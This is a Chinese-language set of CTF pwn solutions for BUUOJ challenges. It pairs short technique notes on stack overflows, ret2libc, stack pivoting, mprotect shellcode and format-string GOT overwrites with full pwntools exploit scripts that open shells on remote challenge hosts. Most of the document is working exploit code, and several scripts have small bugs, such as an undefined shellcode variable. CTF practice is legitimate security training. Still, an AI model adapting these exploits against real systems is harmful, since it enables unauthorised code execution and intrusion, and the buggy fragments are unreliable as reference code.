level2:
简单的栈溢出,覆盖返回地址
from pwn import*
p = remote("node3.buuoj.cn",25930)
binsh_addr = 0x0804a024
elf = ELF("./level2")
sys_addr = 0x08048320
payload = 0x88*'A'+'BBBB'+p32(sys_addr)+p32(0)+p32(binsh_addr)
p.recv()
p.sendline(payload)
p.interactive()
ez_pz_hackover_2016
泄露栈地址,ida分析绕过,retshellcode
from pwn import*
p = remote("node3.buuoj.cn",25208)
p = process("ez_pz_hackover_2016")
def debug(cmd):
raw_input("debug:")
gdb.attach(p,cmd)
context.log_level ='debug'
elf = ELF("ez_pz_hackover_2016")
p.recvuntil("lets crash: 0x")
stack = int(p.recv(8),16)
log.success("stack:"+hex(stack))
junk = 0x32
chall_addr = 0x08048603
shellcode = asm(shellcraft.sh())
payload = "crashme\x00"+'a'*18+p32(stack-0x1c)+shellcode
p.recv()
debug("b *0x080485F8\nc")
p.sendline(payload)
p.interactive()
level0:
简单栈溢出
from pwn import*
p = remote("node3.buuoj.cn",25991)
junk = 0x80
payload = junk*'A'+"BBBBBBBB"+p64(0x400596)
p.recv()
p.sendline(payload)
p.interactive()
pwn2_sctf_2016
整形溢出漏洞,ret2libc
from pwn import*
from LibcSearcher import*
#p = process("./pwn2_sctf_2016")
p = remote("node3.buuoj.cn",29784)
elf = ELF("./pwn2_sctf_2016")
context.log_level = 'debug'
def debug(cmd):
raw_input("debug:")
gdb.attach(p,cmd)
p.recv()
p.sendline("-1")
p.recv()
junk = 48
main_addr = 0x080485B8
#debug("b *0x0804852E\nc")
printf_plt = elf.symbols["printf"]
payload = junk*'A'+p32(printf_plt)+p32(main_addr)+p32(elf.got["printf"])
p.sendline(payload)
p.recv()
printf_addr= u32(p.recv(4))
log.success("printf_addr:"+hex(printf_addr))
libc= ELF("./libc-2.23.so")
sys_addr = libc.symbols["system"]+printf_addr-libc.symbols["printf"]
binsh_addr = libc.search("/bin/sh\x00").next()+printf_addr-libc.symbols["printf"]
log.success("binsh_addr:"+hex(binsh_addr))
p.recv()
p.sendline("-1")
p.recv()
payload = junk*'A'+p32(sys_addr)+p32(0xdeadbeaf)+p32(binsh_addr)
p.sendline(payload)
p.interactive()
[ZJCTF 2019]Login
ida分析绕过,覆盖返回地址
from pwn import*
p = process("./login")
p =remote("node3.buuoj.cn",28155)
def debug(cmd):
raw_input("debug:")
gdb.attach(p,cmd)
getshell = 0x0400E88
#p.recvuntil("Please enter username: ")
p.sendline("admin")
p.recvuntil("Please enter password: ")
#debug("b *0x400B7C\nc")
payload = "2jctf_pa5sw0rd".ljust(0x48,'\x00')+p64(getshell)
p.sendline(payload)
p.interactive()
[OGeek2019]babyrop
%0截断,改写可控区域范围
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",28118)
#p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825
libc_write = libc.sym["write"]
libc_system = libc.sym["system"]
#binsh = next(libc.search('/bin/sh'))
binsh = 0x15902b
payload_1 = '\x00'+ '\xff'*7
paylaod_2 = 'a'*(0xe7+4) + p32(write_plt) + p32(main_addr)
paylaod_2 += p32(1) + p32(write_got) + p32(4)
p.sendline(payload_1)
p.recvuntil("Correct\n")
p.sendline(paylaod_2)
real_write = u32(p.recv(4))
libc_base = real_write - libc_write
real_system = libc_base + libc_system
binsh = binsh + libc_base
payload_1 = '\x00'+ '\xff'*7
payload_3 = 'a'*(0xe7+4) + p32(real_system) + p32(0)
payload_3 += p32(binsh)
p.sendline(payload_1)
p.recvuntil("Correct\n")
p.sendline(payload_3)
p.interactive()
pwn1_sctf_2016
把i替换成u造成栈溢出
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",25541)
cat_flag = 0x08048F0D
payload = 'I'*20 + 'a'*4 + p64(cat_flag)
p.sendline(payload)
p.interactive()
b0verfl0w
stack pivoting
from pwn import *
context.log_level = 'debug'
context.binary = './b0verfl0w'
sh = process('./b0verfl0w')
sh = remote("node3.buuoj.cn",29502)
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
pwn-栈迁移:
栈迁移主要说的是leave指令:
mov esp,ebp
pop ebp
- 第一个指令会改变esp的值,第二个指令会改变ebp的值(当然这个值不太重要)
- 我们主要想控制的是esp的值,这里就要用到两个gadget(leave ret)第一个gadget用来改变ebp的值,第二个指令用来改变esp的值
我们来实战一下吧:
https://buuoj.cn/challenges#[Black%20Watch%20%E5%85%A5%E7%BE%A4%E9%A2%98]PWN
ida:
可以很容易的看到有一个栈溢出漏洞但是我们只能控制0x20-0x18 = 8个字节,即只能控制ebp和ret,往上看我们发现read可以读取的范围有点大并且处在bss段,那么思路来了,首先我们在这里构造一段rop链,然后控制esp返回到此处,就能够执行我们rop链了
1. 首先在read首地址构造rop链泄露出地址leak libc:
payload1 = p32(0)+p32(write_plt)+p32(start_addr)+p32(1)+p32(write_got)+p32(4)
这里的p32(0)用来填充pop ebp;p32(write_plt)对应的正好是ret指令
2. 然后让esp指向这个地址:
payload2 = 'a'*0x18+p32(frame_faking)+p32(leave_ret)
通过这两个payload我们就可以leak libc;并能求出offset和system;str_bin_sh的真正加载地址
3. 模仿1,2步构造payload3和payload4获取shell
payload3 = p32(0)+p32(sys_addr)+p32(0)+p32(binsh_addr)
payload4 = 'a'*0x18+p32(frame_faking)+p32(leave_ret)
exp:
from pwn import*
from LibcSearcher import*
p = process("spwn1")
p = remote("node3.buuoj.cn",29326)
elf = ELF("spwn1")
context.log_level = 'debug'
junk = 24
write_plt = elf.symbols["write"]
write_got= elf.got["write"]
read_plt= elf.symbols["read"]
read_got = elf.got["read"]
leaver = 0x08048408
pppr = 0x080485a9
popr = 0x08048329
bss_addr = 0x0804A300
start_addr = 0x080483A0
payload1 = p32(0)
payload1 += p32(write_plt)
payload1 += p32(start_addr)
payload1 += p32(1)
payload1 += p32(write_got)
payload1 += p32(4)
p.recvuntil("What is your name?")
p.send(payload1)
p.recvuntil("What do you want to say?")
payload2 = junk * 'A'+p32(bss_addr)
payload2 += p32(leaver)
p.send(payload2)
write_addr = u32(p.recv(4))
print ("write_addr:"+hex(write_addr))
libc = LibcSearcher("write",write_addr)
offset = write_addr - libc.dump("write")
print("offset:"+str(offset))
sys_addr = libc.dump("system")+offset
print("sys_addr:"+hex(sys_addr))
binsh_addr = libc.dump("str_bin_sh")+offset
print("binsh_addr:"+hex(binsh_addr))
payload1 = p32(0)
payload1 += p32(sys_addr)
payload1 += p32(0)
payload1 += p32(binsh_addr)
p.recvuntil("What is your name?")
p.send(payload1)
p.recvuntil("What do you want to say?")
p.send(payload2)
p.interactive()
axb_2019_brop64
常规栈溢出
from pwn import*
from LibcSearcher import*
p = process("./axb_2019_brop64")
p = remote("node3.buuoj.cn",28280)
context.log_level = 'debug'
junk = 0xD0
popr = 0x0400963
elf = ELF("./axb_2019_brop64")
puts_got = elf.got["puts"]
puts_plt = elf.symbols["puts"]
read_plt = elf.got["read"]
read_got = elf.symbols["read"]
main_addr = 0x04007D6
start_addr = 0x04006E0
payload = junk*'A'+'BBBBBBBB'+p64(popr)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
p.recvuntil("Please tell me:")
p.sendline(payload)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
log.info("puts_addr:"+hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
offset = puts_addr - libc.dump("puts")
sys_addr = offset+libc.dump("system")
binsh_addr = offset+libc.dump("str_bin_sh")
payload = junk*'A'+'BBBBBBBB'+p64(popr)+p64(binsh_addr)+p64(sys_addr)+p64(start_addr)
p.recvuntil("Please tell me:")
p.sendline(payload)
p.interactive()
ciscn_2019_c_1
逆向分析泄露地址
exp:
from pwn import*
from LibcSearcher import*
p = process("./ciscn_2019_c_1")
p = remote("node3.buuoj.cn",29997)
elf = ELF("./ciscn_2019_c_1")
context.log_level = 'debug'
def debug(cmd):
raw_input("debug:")
gdb.attach(p,cmd)
def encrypt(string):
newstr = list(string)
for i in range(len(newstr)):
c = ord(string[i])
if c <= 96 or c > 122:
if c <= 64 or c > 90:
if c > 47 and c <= 57:
c ^= 0xF
else:
c ^= 0xE
else:
c ^= 0xD
newstr[i] = chr(c)
return ''.join(newstr)
p.recvuntil("Input your choice!\n")
p.sendline("1")
junk = 0x50
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
gets_plt = elf.plt["gets"]
gets_got = elf.got["gets"]
popr = 0x0000000000400c83
main_addr = 0x0400B28
p.recvuntil("Input your Plaintext to be encrypted\n")
payload = junk*'A'+8*'B'+p64(popr)+p64(puts_got)+p64(puts_plt)+p64(0x0400790)
#debug("b *0x4009dd\nc")
p.sendline(encrypt(payload))
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
print ("[+]puts_addr :"+hex(puts_addr))
libc = ELF("libc-2.27.so")
puts_libc = libc.symbols["puts"]
offset = puts_addr - puts_libc
print ("[+]offset:"+str(offset))
sys_addr = offset+libc.symbols["system"]
log.info("[+]sys_addr"+hex(sys_addr))
binsh_addr = offset+libc.search("/bin/sh").next()
print("[+]binsh_addr :"+hex(binsh_addr))
p.recvuntil("Input your choice!\n")
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted\n")
ret = 0x4006b9
payload = junk*'A'+8*'B'+p64(ret)+p64(popr)+p64(binsh_addr)+p64(sys_addr)+p64(main_addr)
p.sendline((payload))
p.interactive()
get_started_3dsctf_2016
在栈溢出的利用时,若 system 和 execve 函数都被禁用的时候,我们可以使用 mmap 或者 mprotect 函数将 bss 段的内存权限设置为可执行,这样我们再把 shellcode 写入到里面,接着将 eip 执行他,就可以达到直接执行 shellcode 的效果
exp:
from pwn import *
def debug():
raw_input("debug:")
gdb.attach(p,cmd)
p=process('get_started_3dsctf_2016')
#p=remote('node2.buuoj.cn.wetolink.com',28646)
elf=ELF('./get_started_3dsctf_2016')
pop3_ret=0x0804951D
payload='a'*0x38+p32(elf.symbols['mprotect'])+p32(pop3_ret)+p32(0x080EB000)+p32(0x1000)+p32(0x7)+p32(elf.symbols['read'])+p32(pop3_ret)+p32(0)+p32(0x080EBF81)+p32(0x100)+p32(0x080EBF81)
debug("b *0x08048A3d")
p.sendline(payload)
sleep(0.2)
#pause()
payload=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
not_the_same_3dsctf_2016
mprotect函数的灵活运用
from pwn import*
def debug(cmd):
raw_input("debug:")
gdb.attach(p,cmd)
p=process("./not_the_same_3dsctf_2016")
p = remote("node3.buuoj.cn",28218)
context.log_level = 'debug'
elf = ELF("./not_the_same_3dsctf_2016")
getshell = 0x080489A0
main_addr = 0x080489E0
junk = 0x2D
pppr = 0x0806fcf0
read_plt = elf.symbols["read"]
payload = junk*'A'+p32(elf.symbols["mprotect"])+p32(pppr)+p32(0x080EC000)
payload += p32(0x1000)+p32(7)+p32(read_plt)+p32(0x080EC000)+p32(0)+p32(0x080EC000)+p32(100)
#debug("b *0x08048A00")
#p.recvuntil("b0r4 v3r s3 7u 4h o b1ch4o m3m0...")
p.sendline(payload)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
level0 rop
使用open函数和read函数配合将flag读取到指定区域,然后调用puts函数将指定区域的flag打印出来
from pwn import*
p = process("./rop")
#p = remote("47.103.214.163",20003)
context.log_level = 'debug'
def debug(cmd):
raw_input("debug")
gdb.attach(p,cmd)
elf = ELF("./rop")
popr = 0x0400753
pop2r = 0x0400751
junk = 0x50
bss_addr = 0x601058
open_plt = elf.symbols["open"]
read_plt = elf.symbols["read"]
puts_plt = elf.symbols["puts"]
payload = 0x50*'A'+"BBBBBBBB"
'''payload += p64(pop2r)+p64(bss_addr)+p64(0)+p64(read_plt)
payload += p64(popr)+p64(bss_addr)+p64(pop2r)+p64(0)+p64(2)
payload += p64(open_plt)+p64(popr)+p64(4)+p64(pop2r)+p64(bss_addr)+p64(0)
payload += p64(read_plt)+p64(popr)+p64(bss_addr)+p64(puts_plt)'''
payload += p64(pop2r)+p64(bss_addr)+p64(0)+p64(read_plt)
payload += p64(popr)+p64(bss_addr)+p64(pop2r)+p64(0)+p64(1111)+p64(open_plt)
payload += p64(popr)+p64(4)+p64(pop2r)+p64(bss_addr)+p64(0)+p64(read_plt)
payload += p64(popr)+p64(bss_addr)+p64(puts_plt)
p.recvuntil("./flag\n")
p.sendline(payload)
p.sendline("./flag\x00")
p.interactive()
ciscn_s_3
泄露栈地址,然后系统调用
from pwn import *
io=process('ciscn_s_3')
io = remote("node3.buuoj.cn",25837)
def debug(cmd):
raw_input("debug:")
gdb.attach(io,cmd)
main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580
sys=0x00400517
pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))
#debug("b *0x400519\nc")
pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)
io.interactive()
ciscn_2019_n_8
猜随机数
from pwn import*
p = process("./ciscn_2019_n_8")
p = remote("node3.buuoj.cn",29982)
def debug(cmd):
raw_input("debug:")
gdb.attach(p,cmd)
elf =ELF("./ciscn_2019_n_8")
payload = 'AAAA'*13+p64(0x11)
#debug("b scanf")
p.sendline(payload)
p.interactive()
simplerop
系统调用
from pwn import*
p = process("simplerop")
p =remote("node3.buuoj.cn",25685)
def debug(cmd):
raw_input("debug:")
gdb.attach(p,cmd)
elf = ELF("simplerop")
context.log_level = 'debug'
puts_plt = elf.symbols["puts"]
read_plt = elf.symbols["read"]
main_addr = 0x08048E24
junk = 0x1c
start_addr = 0x08048D0A
pop_eax = 0x080bae06
pop_ecx_ebx = 0x0806e851
pop_edx = 0x0806e82a
int80 = 0x080493e1
pop3r = 0x0806e850
bss_addr = elf.bss()
payload =junk*'A'+'BBBB'+p32(read_plt)+p32(pop3r)+p32(0)+p32(bss_addr)+p32(8)
payload += p32(pop_eax)+p32(0xb)+p32(pop_ecx_ebx)+p32(0)+p32(bss_addr)+p32(pop_edx)
payload +=p32(0)+p32(int80)
p.recvuntil("Your input :")
#debug("b *0x08048E4D\nc")
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()
bjdctf_2020_babyrop2
格式化字符串泄露cannary,retn libc
from pwn import*
from LibcSearcher import*
p = process("./bjdctf_2020_babyrop2")
p =remote("node3.buuoj.cn",25304)
elf = ELF("./bjdctf_2020_babyrop2")
context.log_level = 'debug'
vuln = 0x0400887
payload = "%7$p"
junk = 24
puts_plt = elf.symbols["puts"]
libc_start = elf.got["__libc_start_main"]
popr = 0x0400993
p.recvuntil("I'll give u some gift to help u!\n")
p.sendline(payload)
cannary = eval(p.recvuntil("\n",drop = True))
log.success("cannary:"+hex(cannary))
p.recvuntil("story!\n")
payload = junk*'A'+p64(cannary)+'BBBBBBBB'+p64(popr)+p64(libc_start)+p64(puts_plt)+p64(vuln)
p.sendline(payload)
libc_start_main = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
log.success("libc_start_main:"+hex(libc_start_main))
libc = LibcSearcher("__libc_start_main",libc_start_main)
offset = libc_start_main-libc.dump("__libc_start_main")
sys_addr= libc.dump("system")+offset
binsh_addr = offset+libc.dump("str_bin_sh")
payload = junk*'A'+p64(cannary)+'BBBBBBBB'+p64(popr)+p64(binsh_addr)+p64(sys_addr)
p.recvuntil("story!\n")
p.sendline(payload)
p.interactive()
bjdctf_2020_babyrop
常规栈溢出
exp:
from pwn import*
from LibcSearcher import*
p = process("./bjdctf_2020_babyrop")
p = remote("node3.buuoj.cn",28632)
context.log_level = 'debug'
junk = 32
popr = 0x0000000000400733
elf = ELF("./bjdctf_2020_babyrop")
puts_got = elf.got["puts"]
puts_plt = elf.symbols["puts"]
read_plt = elf.got["read"]
read_got = elf.symbols["read"]
main_addr = 0x04006AD
start_addr = 0x400530
payload = junk*'A'+'BBBBBBBB'+p64(popr)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
p.recvuntil("Pull up your sword and tell me u story!\n")
p.sendline(payload)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
log.info("puts_addr:"+hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
offset = puts_addr - libc.dump("puts")
sys_addr = offset+libc.dump("system")
binsh_addr = offset+libc.dump("str_bin_sh")
payload = junk*'A'+'BBBBBBBB'+p64(popr)+p64(binsh_addr)+p64(sys_addr)+p64(start_addr)
p.recvuntil("Pull up your sword and tell me u story!\n")
p.sendline(payload)
p.interactive()
fmtstr(格式化字符串漏洞)
https://buuoj.cn/challenges#[%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42019%20%E5%86%B3%E8%B5%9B]PWN5
这里有两个思路,第一个思路就是执行比较,主要是猜随机数,我们把比较的地址覆盖成一个可控的变量就好
exp:
from pwn import*
p = process("./pwn")
context.log_level ='debug'
offset = 10
chunk = 0x0804C044
payload = p32(chunk)
payload += p32(chunk+1)
payload += p32(chunk+2)
payload += p32(chunk+3)
payload += "%10$hhn%11$hhn%12$hhn%13$hhn"
p.recvuntil("your name:")
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()
第二个思路就是不执行比较,具体利用方法是将比atoi的got表内容劫持为system函数
exp:
from pwn import*
p = process("./pwn")
p =remote("node3.buuoj.cn",27537)
def debug(cmd):
raw_input("debug:")
gdb.attach(p,cmd)
context.log_level ='debug'
elf = ELF("./pwn")
atoi_addr = elf.got["atoi"]
sys_addr = elf.symbols["system"]
offset = 10
chunk = 0x0804C044
payload = fmtstr_payload(offset,{atoi_addr:sys_addr})
p.recvuntil("your name:")
#debug("b *0x080492CE\nc")
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()